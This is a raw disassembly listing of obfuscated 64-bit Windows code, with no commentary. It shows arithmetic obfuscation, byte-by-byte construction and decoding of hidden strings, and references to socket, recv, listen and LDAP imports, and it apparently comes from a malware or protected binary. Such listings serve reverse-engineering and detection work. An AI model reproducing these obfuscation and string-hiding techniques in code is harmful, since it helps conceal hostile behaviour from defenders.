sub bl, al
sub bl, 0x14
jmp 0x14011a714
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x14011a6e1
movabs rdx, 0x4ae772f5239f741a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
mov byte [rbp + r10 + 0x6f0], bl
jmp 0x14011ad72
movabs rdx, 0x9682c6ba1376f89e
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x52
jmp 0x14011a885
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x14011a83d
movabs rdx, 0x2db96e43f32601a6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14011a811
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011ad63
movabs rdx, 0xb061b64de9cde808
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x14011ad0f
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14011acb3
movabs rcx, 0x47985dd7c97cf110
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x70
jmp 0x14011abce
movabs rcx, 0x9333b19cb9547594
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0xc
jmp 0x14011ab6e
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x14011a59a
movabs rcx, 0x2a6a592699037e9c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x44
jmp 0x14011ac8c
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14011a97a
movabs rdx, 0xc1a100b078b287a4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7c
jmp 0x14011ac40
lea rax, [r11 + 8]
cmp rdi, rax
jae 0x14011a8bc
lea rdx, [r10 + rsi]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [rdi + r11]
cmp rax, 6
je 0x14011ab73
lea rax, [r11 + 0x10]
cmp rdi, rax
jbe 0x14011a991
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 0x40
jae 0x14011ab1e
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x14011aa5e
movabs rdx, 0xe41f9575967bc6dc
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 4
add bl, dl
cmp r11, 0x1000
jb 0x14011a66c
movabs rdx, 0xf00e4fc4381099b4
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14011ac42
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011a8e8
movabs rcx, 0xcc4220d85352212c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x34
jmp 0x14011ad63
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14011a905
movabs rdx, 0x350b794e73a31824
mov ecx, 2
jmp 0x14011a72a
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011a934
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011ab6e
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14011a95e
movabs rdx, 0x52397dffa41c8a98
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x28
jmp 0x14011ab42
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011a813
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011ac66
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011a9bb
movabs rdx, 0xb26331447cfb31c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
jmp 0x14011ac40
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011a9e5
movabs rdx, 0xcf9135f5ad74a436
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7a
jmp 0x14011ab42
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14011aa02
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x14011a91d
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011aa2e
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x42
jmp 0x14011abce
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14011a84f
movabs rcx, 0x5588931cfe3f0da2
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6e
jmp 0x14011ad63
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011aa8a
movabs rcx, 0x988441b0a6a44258
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x14011ad63
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011aab4
movabs rdx, 0x14d9a26c6f53950
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x30
jmp 0x14011acb3
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x14011aad1
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x14011a91d
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x14011aaee
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14011ac7a
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011a887
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x24
jmp 0x14011ac66
movabs rdx, 0xa472fbff48391530
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, byte [rbp + r10 + 0x6f0]
sub bl, al
sub bl, 0x50
add bl, r9b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
add cl, bl
mov byte [rbp + r10 + 0x6f0], cl
add rdi, r11
jmp 0x14011abce
movabs rdx, 0x58d7a83a586190ac
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x6f0]
jmp 0x14011a737
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x14011a72a
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14011ad72
movabs rcx, 0x34f151d5a22830a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x46
jmp 0x14011ac8c
movabs rdx, 0x9a85bca739d18c12
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7e
jmp 0x14011ac40
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r9b
mov byte [rbp + r10 + 0x6f0], cl
inc r11
jmp 0x14011ac8c
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
dec r10
jmp 0x14011ad72
mov r9, r8
movabs rdx, 0xf7605aceb88db032
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x6f0], al
inc r11
add rax, r11
sub r10, rax
jmp 0x14011ad0f
movabs rdx, 0x42fbae93a86534b6
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r9b, r8b
movabs rcx, 0xd3c5475688a0c28
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x18
add cl, r9b
mov byte [rbp + r10 + 0x6f0], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x14011ad63
movabs rdx, 0x8e970258983cb93a
add rdx, r10
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movzx eax, byte [rbp + r10 + 0x6f0]
add rax, r11
add r10, rax
inc r10
jmp 0x14011a22b
movabs rdx, 0x5c26bd57b28413b6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011a228
lea rdx, [r10 + r14]
mov al, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011a218
lea rdx, [rbp + 0x1598298]
jmp 0x14011add6
lea rdx, [rbp + 0x16dc056]
jmp 0x14011add6
lea rdx, [rbp + 0x6f0]
lea rcx, [rbp + 0x380]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x15b0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14011ae0b
mov rdx, qword [rbx]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x15b0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x15b0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x15b0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0xb30], 0xe3
mov byte [rbp + 0xb31], 0xad
mov byte [rbp + 0xb32], 0xec
mov byte [rbp + 0xb33], 0xab
mov byte [rbp + 0xb34], recv
mov byte [rbp + 0xb35], 0xa9
mov byte [rbp + 0xb36], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xb37], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xb38], 0x3d
mov byte [rbp + 0xb39], __WSAFDIsSet
mov byte [rbp + 0xb3a], 0
mov byte [rbp + 0xb3b], __WSAFDIsSet
mov byte [rbp + 0xb3c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb3d], __WSAFDIsSet
mov byte [rbp + 0xb3e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xb3f], 0x9f
mov byte [rbp + 0xb40], 7
mov byte [rbp + 0xb41], 0x9d
mov byte [rbp + 0xb42], 5
mov byte [rbp + 0xb43], 0x9b
mov byte [rbp + 0xb44], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb45], 0x99
mov byte [rbp + 0xb46], Ordinal_46
mov byte [rbp + 0xb47], 0x87
mov byte [rbp + 0xb48], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xb49], 0x85
mov byte [rbp + 0xb4a], Ordinal_217
mov byte [rbp + 0xb4b], 0x83
mov byte [rbp + 0xb4c], 0x3d
mov byte [rbp + 0xb4d], 0x81
mov byte [rbp + 0xb4e], Ordinal_50
mov byte [rbp + 0xb4f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xb50], Ordinal_46
mov byte [rbp + 0xb51], Ordinal_143
mov byte [rbp + 0xb52], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xb53], Ordinal_143
mov byte [rbp + 0xb54], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xb55], Ordinal_143
mov byte [rbp + 0xb56], 0x64
mov byte [rbp + 0xb57], 0xf7
mov byte [rbp + 0xb58], 0x5c
mov byte [rbp + 0xb59], 0xf5
mov byte [rbp + 0xb5a], 0x62
mov byte [rbp + 0xb5b], 0xf3
mov byte [rbp + 0xb5c], 0xaa
mov byte [rbp + 0xb5d], 0xf1
mov byte [rbp + 0xb5e], 0xa2
mov byte [rbp + 0xb5f], 0xff
mov byte [rbp + 0xb60], 0xae
mov byte [rbp + 0xb61], 0xfd
mov byte [rbp + 0xb62], 0x57
mov byte [rbp + 0xb63], 0xfb
mov byte [rbp + 0xb64], 0x60
mov byte [rbp + 0xb65], 0xf9
mov byte [rbp + 0xb66], Ordinal_79
mov byte [rbp + 0xb67], 0xe7
mov byte [rbp + 0xb68], 0xb6
mov byte [rbp + 0xb69], 0xe5
mov byte [rbp + 0xb6a], 0x77
mov byte [rbp + 0xb6b], 0xe3
mov byte [rbp + 0xb6c], 0x7d
mov byte [rbp + 0xb6d], 0xe1
mov byte [rbp + 0xb6e], 0x47
mov byte [rbp + 0xb6f], 0xef
mov byte [rbp + 0xb70], 0xec
mov byte [rbp + 0xb71], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb72], xmm0
mov qword [rbp + 0xb82], rax
mov byte [rbp + 0xb8a], al
mov bl, byte [rsp + 0x50]
movabs rsi, 0xfa317cbfea226b1a
movabs r14, 0x752d634cf9cce4e
movabs r12, 0x3c16e471d25172dc
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r11, qword [rax]
xor r10d, r10d
cmp r10, 0x5b
jae 0x14011bbec
movzx r9d, byte [rbp + r10 + 0xb30]
mov r8, r9
cmp rdi, r10
ja 0x14011bbe3
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x14011b0a9
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
add bl, 0x4a
jmp 0x14011b0e3
je 0x14011bb66
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011badb
lea rax, [r11 + 4]
cmp rdi, rax
je 0x14011baa5
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14011ba5c
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14011ba34
cmp r11, r10
ja 0x14011bbda
lea rax, [r11 + 0x7a]
cmp rdi, rax
jae 0x14011b109
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x14011b2f0
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14011b9f1
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011b9d2
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14011b9b0
lea rax, [r11 + 7]
cmp rdi, rax
je 0x14011b98e
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x14011b67d
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x14011b65b
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x14011b635
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x14011b613
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14011b5f1
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14011b5dd
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14011b5bb
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011b597
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14011b574
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x14011b560
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x14011b14a
lea rdi, [r11 + 0x61]
lea r11, [rdi + 0x1000]
lea rax, [r11 + 0x400]
cmp rdi, rax
jb 0x14011bbc1
lea rax, [r11 + 0x200]
cmp rdi, rax
jb 0x14011bb9b
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x14011b329
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x14011b307
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x14011b2e1
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x14011b4d0
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x14011b4af
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x14011b460
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x64]
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x14011b43d
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x14011b41c
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x14011b408
lea rax, [r11 + 9]
cmp rdi, rax
ja 0x14011b3e5
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x14011b3bf
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14011b39e
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x14011b38a
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x14011b370
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x14011b34f
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x14011b14a
lea rdi, [r11 + 0x1000]
lea r11, [rdi + 0x400]
jmp 0x14011b14a
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011b13d
movabs rcx, 0xe47bc2b44c6b50ea
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x66
jmp 0x14011b0e3
movabs rdx, 0xf018c93478267ab6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011b07b
movabs rdx, 0x3079ddf1a6964910
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x70
jmp 0x14011b7b2
lea rcx, [r10 + r12]
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 4
jmp 0x14011ba51
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x14011b7d1
movabs rdx, 0x5350f17229c7c674
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x2c
jmp 0x14011b725
movabs rdx, 0x5eedf7f25582f040
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011bac6
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x54
jmp 0x14011bac9
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
jmp 0x14011b6e6
movabs rdx, 0x81c50b72d8b46da4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x7c
jmp 0x14011b590
movabs rcx, 0x8d6211f3046f9770
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x10
jmp 0x14011bb84
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x16
add bl, dl
cmp r11, 0x41
jb 0x14011b92a
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x14011ba0e
movabs rdx, 0xc1a4af33c939d386
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14011b525
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x3e
add bl, dl
lea rax, [r11 + rdi]
cmp rax, 0x5a
je 0x14011b965
lea rax, [r11 + 0x41]
cmp rdi, rax
jbe 0x14011b78a
movabs rdx, 0x9dcab9baca338532
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
cmp rdi, 3
jae 0x14011b937
lea rcx, [r11 + 2]
cmp rdi, rcx
jbe 0x14011b86e
movabs rcx, 0x23d9f578ff064e54
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
jmp 0x14011b47e
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x14011b6bb
movabs rdx, 0x2ff86cf568abe098
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x28
add bl, dl
jmp 0x14011bb2f
movabs rdx, 0x3b95737594670a64
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14011bafd
movabs rcx, 0x473279f5c0223430
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x50
jmp 0x14011bac9
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14011bab4
movabs rcx, 0x5e6c86f6179887c8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x78
jmp 0x14011ba79
movabs rcx, 0x6a098d764353b194
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
jmp 0x14011ba54
movabs rdx, 0x75a693f66f0edb60
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011ba51
movabs rcx, 0x81439a769aca052c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x34
jmp 0x14011ba0e
lea rcx, [r11 + 2]
cmp rdi, rcx
jae 0x14011b6a3
lea rdx, [r10 + rsi]
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011b4ee
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011b6d2
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011bb84
cmp rdi, rcx
jne 0x14011b6fd
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011baff
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011b72c
movabs rdx, 0xd20d56fb8efdc148
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011ba79
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14011b757
movabs rcx, 0xc670507b6342977c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x64
jmp 0x14011ba54
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14011b4ee
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011ba51
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011b7b9
movabs rdx, 0x922db33a9e785b66
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011ba0e
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011b7e8
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011ba54
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011b813
movabs rcx, 0x63b99939ef8bb436
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7a
jmp 0x14011bac6
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14011b83e
movabs rcx, 0x4c7f8c399815609e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x52
jmp 0x14011baff
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14011b527
movabs rcx, 0x35457f39409f0d06
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x2a
jmp 0x14011bb84
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14011b88b
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x14011b6bb
cmp rdi, rcx
jne 0x14011b8b2
movabs rcx, 0xc9fe878a78ffabc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x24
jmp 0x14011bb2f
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14011b8de
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x14011bac6
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x14011b8fb
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x14011b773
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x14011b47e
movabs rcx, 0xbb54baf77571d628
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x14011ba0e
mov byte [rbp + r10 + 0xb30], bl
jmp 0x14011bb93
movabs rdx, 0xa41aadf71dfb8290
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0xb30]
add bl, dl
add bl, r9b
jmp 0x14011ba79
movabs rdx, 0x987da776f24058c4
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, byte [rbp + r10 + 0xb30]
sub bl, 0x5c
jmp 0x14011bafd
movabs rcx, 0x292707bcd6f97ac2
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4e
jmp 0x14011bb2f
movabs rcx, 0x406114bd2e6fce5a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x76
jmp 0x14011bac9
movabs rcx, 0x6338283db1a14bbe
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x32
jmp 0x14011ba54
movabs rcx, 0x7a72353e09179f56
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5a
movabs rcx, 0xa9e9313733d91776
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r9b
mov byte [rbp + r10 + 0xb30], cl
jmp 0x14011ba51
movabs rcx, 0x9d4948be8c491cba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x16
inc r11
dec r10
jmp 0x14011bb93
movabs rcx, 0xb48355bee3bf7052
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3e
movabs rcx, 0x9e4c2ab7081dedaa
add rcx, r10
mov al, cl
and al, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r9b
mov byte [rbp + r10 + 0xb30], dl
jmp 0x14011bac6
